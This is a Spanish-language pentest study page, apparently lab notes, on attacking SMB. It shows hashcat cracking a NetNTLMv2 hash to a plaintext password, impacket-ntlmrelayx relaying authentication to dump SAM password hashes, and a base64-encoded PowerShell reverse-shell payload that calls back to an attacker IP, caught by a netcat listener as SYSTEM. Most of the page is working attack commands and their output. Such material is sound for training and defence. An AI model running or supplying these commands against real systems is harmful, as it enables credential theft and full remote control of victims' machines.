ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc46296b0ccfc7a231d918ae1dae521:0101000000000000b09b51939ba6d40140c54ed46ad58e890000000002000e004e004f004d00410054004300480001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d0042003100320008003000300000000000000000000000003000004289286eda193b087e214f3e16e2be88fec5d9ff73197456c9a6861ff5b5d3330000000000000000:P@ssword
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc...000000
Time.Started.....: Mon Apr 11 16:49:34 2022 (1 sec)
Time.Estimated...: Mon Apr 11 16:49:35 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1122.4 kH/s (1.34ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 75776/14344386 (0.53%)
Rejected.........: 0/75776 (0.00%)
Restore.Point....: 73728/14344386 (0.51%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: compu -> kodiak1

Started: Mon Apr 11 16:49:34 2022
Stopped: Mon Apr 11 16:49:37 2022

El hash NTLMv2 fue descifrado. La contraseña es P@ssword. Si no podemos descifrar el hash, podemos potencialmente reenviarlo a otra máquina usando impacket-ntlmrelayx o Responder MultiRelay.py. Veamos un ejemplo usando impacket-ntlmrelayx.

Primero, necesitamos establecer SMB en OFF en nuestro archivo de configuración de responder (/etc/responder/Responder.conf).

gzzcoo@htb[/htb]$ cat /etc/responder/Responder.conf | grep 'SMB ='
SMB = Off

Luego ejecutamos impacket-ntlmrelayx con la opción --no-http-server, -smb2support, y la máquina objetivo con la opción -t. Por defecto, impacket-ntlmrelayx volcará la base de datos SAM, pero podemos ejecutar comandos agregando la opción -c.

gzzcoo@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

<SNIP>

[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server

[*] Servers started, waiting for connections

[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, attacking target smb://10.10.110.146
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] SMBD-Thread-5: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xeb0432b45874953711ad55884094e9d4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:92512f2605074cfc341a7f16e5fabf08:::
demouser:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Done dumping SAM hashes for host: 10.10.110.146
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
gzzcoo@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAwAC4AMQAzADMAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'

Una vez que la víctima se autentica contra nuestro servidor, envenenamos la respuesta y forzamos la ejecución del comando, obteniendo la reverse shell:

gzzcoo@htb[/htb]$ nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471

PS C:\Windows\system32> whoami;hostname

nt authority\system
WIN11BOX
AnteriorDNS Port (53)SiguienteMSSQL Port (1433)

Última actualización hace 2 meses

¿Te fue útil?

Podemos encontrar más ejemplos de findstr .

Podemos crear una reverse shell en PowerShell usando , configurando la IP de nuestra máquina, el puerto, y seleccionando la opción Powershell #3 (Base64).

aquí
https://www.revshells.com/